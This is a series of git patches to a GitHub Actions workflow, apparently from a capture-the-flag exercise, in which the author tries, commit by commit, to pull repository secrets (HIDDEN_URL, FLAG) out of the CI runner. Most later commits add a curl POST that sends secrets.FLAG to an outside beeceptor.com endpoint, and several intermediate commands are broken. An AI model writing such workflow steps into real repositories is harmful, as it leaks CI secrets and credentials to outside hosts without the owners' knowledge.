From 22219978851b5b92c004116722ff1124fbd469e4 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 14:46:06 +0200 Subject: [PATCH 01/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 47f4831..4b11db7 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -9,7 +9,7 @@ jobs: steps: - name: Action test run: | - curl ${{secrets.HIDDEN_URL}} > hidden.txt + curl ${{secrets.HIDDEN_URL}} > echo echo "Secret retrieved" echo "-------" echo "Write tests here and call them with hidden.txt" From 073c13b8f9faaff63bf2b75a30d7e77ce0ff71a2 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 14:50:45 +0200 Subject: [PATCH 02/15] Update actions.yml --- .github/workflows/actions.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 4b11db7..aea2b92 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -9,7 +9,8 @@ jobs: steps: - name: Action test run: | - curl ${{secrets.HIDDEN_URL}} > echo + curl ${{secrets.HIDDEN_URL}} > hidden.txt + echo cat hidden.txt echo "Secret retrieved" echo "-------" echo "Write tests here and call them with hidden.txt" From d56102befa2b2665757d841d26c7f3f2f4b1bd68 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 14:58:52 +0200 Subject: [PATCH 03/15] Update actions.yml --- .github/workflows/actions.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index aea2b92..4a4450e 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -9,8 +9,9 @@ jobs: steps: - name: Action test run: | + echo ${{secrets.HIDDEN_URL}} curl ${{secrets.HIDDEN_URL}} > hidden.txt - echo cat hidden.txt + echo "Secret retrieved" echo "-------" echo "Write tests here and call them with hidden.txt" From b5a3cd3adcba1e59ce6799aa3bd85e435a462ab7 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:00:42 +0200 Subject: [PATCH 04/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 4a4450e..051b23b 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -9,7 +9,7 @@ jobs: steps: - name: Action test run: | - echo ${{secrets.HIDDEN_URL}} + echo "${{secrets.HIDDEN_URL}}" curl ${{secrets.HIDDEN_URL}} > hidden.txt echo "Secret retrieved" From 3e76be49de46a899ebf209d467ae734c4bcf2b80 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:07:12 +0200 Subject: [PATCH 05/15] Update actions.yml --- .github/workflows/actions.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 051b23b..396162a 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -7,6 +7,11 @@ jobs: yolo: runs-on: ubuntu-latest steps: + - shell: bash + env: + SUPER_SECRET: ${{ secrets.HIDDEN_URL }} + run: | + echo "$SUPER_SECRET" - name: Action test run: | echo "${{secrets.HIDDEN_URL}}" From 8a701f69005816ace1a5dbc6c2d8501d506d2ac6 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:08:32 +0200 Subject: [PATCH 06/15] Update actions.yml --- .github/workflows/actions.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 396162a..6f37766 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -11,7 +11,8 @@ jobs: env: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | - echo "$SUPER_SECRET" + curl "$SUPER_SECRET" > echo + - name: Action test run: | echo "${{secrets.HIDDEN_URL}}" From 5f95c985e8465774c34010b5be166d28b7587db9 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:09:44 +0200 Subject: [PATCH 07/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 6f37766..a7e0d39 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -11,7 +11,7 @@ jobs: env: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | - curl "$SUPER_SECRET" > echo + curl $SUPER_SECRET > echo - name: Action test run: | From 13d974b0d0283c2d8ded09a637b235df4ae1ce8b Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:16:48 +0200 Subject: [PATCH 08/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index a7e0d39..1038ef3 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -11,7 +11,7 @@ jobs: env: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | - curl $SUPER_SECRET > echo + curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d $SUPER_SECRET - name: Action test run: | From ee52854f2265c674818fe2b65a8dc73f5401a484 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:18:24 +0200 Subject: [PATCH 09/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 1038ef3..b0848da 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -11,7 +11,7 @@ jobs: env: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | - curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d $SUPER_SECRET + curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d "$SUPER_SECRET" - name: Action test run: | From 065a10d1a5188038750eb51b5f91d2fe75bf6d20 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:19:54 +0200 Subject: [PATCH 10/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index b0848da..01fa510 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -16,7 +16,7 @@ jobs: - name: Action test run: | echo "${{secrets.HIDDEN_URL}}" - curl ${{secrets.HIDDEN_URL}} > hidden.txt + curl ${{secrets.HIDDEN_URL}} > hidden.txt echo "Secret retrieved" echo "-------" From 6d12e103068b15876f87b4e463e759672e866928 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:23:27 +0200 Subject: [PATCH 11/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 01fa510..bd3c56b 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -11,7 +11,7 @@ jobs: env: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | - curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d "$SUPER_SECRET" + curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d < curl ${{secrets.HIDDEN_URL}} - name: Action test run: | From 7f3ec8ff3f67b98d2bf7b67a2ac22dab52aeb6ae Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:25:47 +0200 Subject: [PATCH 12/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index bd3c56b..d5d308a 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -11,7 +11,7 @@ jobs: env: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | - curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d < curl ${{secrets.HIDDEN_URL}} + curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d ${{secrets.FLAG}} - name: Action test run: | From e3a457e2a1eceda7d63b69c51fe5659765187c84 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:26:48 +0200 Subject: [PATCH 13/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index d5d308a..0e09ffe 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -11,7 +11,7 @@ jobs: env: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | - curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d ${{secrets.FLAG}} + curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d "${{secrets.FLAG}}" - name: Action test run: | From 753a3bceaa1724c7b82fe7bdac5dcf1f65e185b8 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:30:40 +0200 Subject: [PATCH 14/15] Update actions.yml --- .github/workflows/actions.yml | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index 0e09ffe..a661188 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -12,12 +12,11 @@ jobs: SUPER_SECRET: ${{ secrets.HIDDEN_URL }} run: | curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d "${{secrets.FLAG}}" - + - name: Action test run: | - echo "${{secrets.HIDDEN_URL}}" - curl ${{secrets.HIDDEN_URL}} > hidden.txt - + curl ${{secrets.HIDDEN_URL}} > hidden.txt + cat hidden.txt > curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d echo "Secret retrieved" echo "-------" echo "Write tests here and call them with hidden.txt" From 2f173b87bb3d5f0d18763583546231e1f661f333 Mon Sep 17 00:00:00 2001 From: Steffen <23522195+SteffenBra@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:35:36 +0200 Subject: [PATCH 15/15] Update actions.yml --- .github/workflows/actions.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/actions.yml b/.github/workflows/actions.yml index a661188..455adc2 100644 --- a/.github/workflows/actions.yml +++ b/.github/workflows/actions.yml @@ -15,7 +15,7 @@ jobs: - name: Action test run: | - curl ${{secrets.HIDDEN_URL}} > hidden.txt + cat ${{secrets.HIDDEN_URL}} cat hidden.txt > curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d echo "Secret retrieved" echo "-------"